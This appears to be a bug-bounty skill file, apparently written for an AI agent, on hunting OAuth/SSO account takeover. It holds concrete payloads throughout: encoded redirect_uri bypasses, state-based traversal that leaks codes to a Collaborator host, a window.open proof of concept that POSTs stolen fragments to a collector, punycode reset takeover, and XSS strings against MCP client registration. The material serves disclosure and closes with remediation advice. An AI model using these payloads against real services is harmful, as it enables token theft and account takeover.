bb-oauth
Hunt OAuth/SSO account takeover — redirect_uri validation bypasses (parser differentials, double-encoding, userinfo tricks), state-parameter abuse, non-happy-path code theft, token exfiltration via re
SKILL.mdskills/bb-oauth/SKILL.md
GitHubOAuth / SSO ATO Hunter
OAuth bugs pay ATO prices because a leaked code/token is a session. Every technique below comes from paid disclosures (Voorivex Team, 2023–2026; individual bounties $3k–$25k, ~$50k total for the punycode class).
Step 0 — Map the flow before touching it
Draw every request of every provider channel (Google/Apple/GitHub/GitLab/Facebook), web AND native apps. Then classify:
- Exchange-endpoint flow (server-side, clean 301s):
redirect_uriis the only attack surface → attack the validator (matrix below). - JS dispatcher flow (client-side JS reads the callback): attacker-controllable DOM, postMessage relays,
state-driven navigation → also DOM XSS territory (bb-domxss). - Multi-hop flow (app → main site → provider → main site → subdomain exchange): the hop where
statebecomes a redirect target carrying?code=is the weak link. - Decode
state— anything JSON/base64 containing a URL is a SECOND redirect_uri. Providers validate the outerredirect_uri; apps rarely validate the inner one. - Map the non-happy path: what does the callback do with missing/invalid params? Redirect to the incoming
Referer? That's an attack surface (below).
redirect_uri attack matrix
| Validator behavior | Attack |
|---|---|
| No/prefix validation | Swap to attacker domain |
Domain-suffix or subdomain permissive (abc.target.com passes) |
A parser is extracting the host — attack it (below) |
@ / userinfo tricks blocked |
Try https://target.com@attacker.com/, backslashes, then double-encoding |
| Everything blocked, path appending allowed | ../ traversal out of the fixed prefix into gadgets (/imageProxy/..., /cdn-cgi/...) |
| Strict provider-side (Apple/Google) | Pivot to state, non-happy path, or the inner redirect_uri |
Parser-differential fuzzing (the $-grade technique when everything is blocked):
The app pattern is parse_url($next, PHP_URL_HOST) validate → header("Location: " . urldecode($next)) redirect — validator decodes once, the redirect decodes AGAIN. Fuzz with pre-encoded %25 (double-encoded) bytes at every URL position:
round 1: https://a.com%FUZZ.company.com/... (single byte \x00-\xff, URL-encoded)
round 2: https://a.com%25FUZZ%FUZZ.company.com/... (cluster-bomb pairs)
Winning payload shape: redirect_uri=https://a.com%2523%40www.company.com/api/bin/openid/login
- Validator decodes once →
https://a.com%23@www.company.com/...→ parser readsa.com%23as userinfo, host =www.company.com→ PASSES. - Redirect step decodes again →
https://a.com#@www.company.com/...?code=...→ browser goes toa.com, and everything after#is readable vialocation.hashon your page.
state as a weapon
- Inner
redirect_uri/rPathinsidestateJSON (Sign in with Apple desktop flows): providers can't validate it. Direct swap tohttps://attacker.commay 404;https://[email protected]/(authority confusion) passes. 1-click ATO. state→ server validates against company domain, then redirects WITH?code=appended: if the validator allows path appending, climb out with../../../into any URL-fetching gadget on the host:
state = https://sub.target.app/users/googleFederatedLoggedIn/../../../imageProxy/{COLLABORATOR}
The proxy server-side-fetches your OOB URL — with the code in the query — into your Collaborator logs. Replay the captured code into the token-exchange request for the victim's session. (Any /imageProxy/<url>, avatar-by-URL, or reverse-proxy fetch feature works as the sink.)
Non-happy path code theft (~$3,000)
When the callback errors into a redirect to the incoming Referer:
- Derail the flow by changing
response_type— fragments survive server-side (3xx) redirects but are stripped by client-side ones; keep the chain server-side. - Google accepts comma-combined response types:
response_type=id_token,codereturns BOTH in the fragment. - Referer persistence: if
attacker.comrunswindow.open('https://accounts.google.com/...')and a chain of 3xx redirects follows, the FINAL page still seesReferer: attacker.com— the opener origin sticks through cross-origin redirect chains. - Google's account-picker breaks the referer chain —
prompt=noneauto-completes for logged-in users, no click. PoC: attacker page opens the authorize URL (response_type=id_token,code&prompt=none,redirect_uri= target callback) inwindow.open; on load, readwindow.location.hashand POST it to your collector. Requires victim with a linked Google account.
Token exfiltration without JS (DOMPurify'd callbacks)
Callback pages rendering error_description (or any limited HTMLi) can leak the code/auth_token sitting in the same URL: referrer-policy flips via CSS url(... referrer-policy(unsafe-url)), DOMParser <meta name=referrer> parse-time side effects, or CSS attribute-selector extraction when a third-party script (Google Ads) reflects the page URL into script[src]. Full playbook with payloads: bb-domxss → references/advanced-dom-xss.md §3.
Punycode/unicode collation — 0-click ATO (~$50k class)
Parser differential: MySQL default collations fold lookalike unicode to ASCII (SELECT 'а'='a' → 1), but SMTP servers treat them as different mailboxes.
Forgot-password variant: register а[email protected] (Cyrillic а, your mailbox on a lookalike domain). In the reset flow, submit the punycode variant of the VICTIM's email. The DB lookup folds it to the victim's row (reset token minted for the victim) — but the mail is sent to the raw INPUT (your mailbox). Reset link arrives → 0-click ATO.
OAuth variant: some IdPs deliver the punycode email verbatim in the callback — GitLab does ("Login with GitLab" + MySQL collation + no email validation = likely vulnerable). Google normalizes safely.
Checks: (1) does the app query with user input but mail the input (vulnerable) or the DB row (safe — WordPress-style)? (2) fuzz collation equivalence: for i in range(0x110000): SELECT chr(i) = 'a'. (3) Register lookalike mailboxes to weaponize.
DNS rebinding of domain whitelists
Custom-domain SaaS (blog platforms etc.) verify domain ownership ONCE (CNAME check) then trust the DB entry forever. Attack: verify your domain → re-point its A record to your server (with a valid cert — the whitelist entry stays) → send the victim https://platform.com/authenticate?next=https://attacker.tld/ → the final 307 delivers ?guid=<one-time token> to your server → redeem it for the victim's session. Any flow that redirects with a bearer token in the URL is the target; next/redirect_uri validators backed by verified-domain tables are the seam.
MCP servers (Model Context Protocol) — OAuth DCR attacks
- Enumerate: Nuclei-style GET
/.well-known/oauth-authorization-serverand/.well-known/openid-configuration;registration_endpointpresent = target. POST minimal client metadata (client_name,redirect_uris,grant_types) — 201 +client_id= open Dynamic Client Registration. - DOM XSS via client-side redirect: register
redirect_uri=javascript:alert(origin);//; hostname validators fall tojavascript://pwnbox.xyz/%0aalert(origin);//. - Stored XSS via consent screen: every registered value (
redirect_uri,client_name,logo_uri) is input to the consent page — try</script><script>breakouts. - DCR as a free open redirect (RFC 6749 §4.1.2.1 error redirect): chain it under SSRF path-prefix whitelists —
https://company.tld/documents/..%2F/authorize?...&redirect_uri=https://attacker/#escapes "only fetch from /documents/" rules → arbitrary URL fetch → internal port scan. - Talk to MCP servers raw: register a client, complete the flow yourself, then MCP Inspector (
npx @modelcontextprotocol/inspector) withBearer <token>— prompt-level "rules" for AI clients are not security controls.
Provider quirks cheat sheet
- Google: redirect_uri must match exactly (zero tolerance); accepts comma response types (
code,id_token);prompt=noneskips interaction; Ads/viewthrough scripts reflect page URL intoscript src. - Apple: provider-side redirect_uri locked; desktop/native flows hide a second redirect inside
state. - GitLab: delivers punycode emails verbatim — collation ATO candidate.
- Facebook: mandatory confirmation click sets referer to facebook.com — kills referer chains.
- GIS SDK (google.accounts.id): classic dirty-dancing redirect_uri tricks fail (
gis_transform); re-initialize the SDK from an XSS instead (bb-domxss).
Evidence & reporting
- PoC must capture the actual
code/token and replay it to a victim session — screenshots of the authorize URL + collector log + the exchange request/response. - State plainly what population is affected (e.g. "users with linked Google accounts") — triage will try to downgrade complexity otherwise.
- Remediation guidance: exact-match redirect_uri allowlists, validate
stateserver-side, single decode before validation AND redirect, mail the DB row not the input, re-verify domain ownership on every use.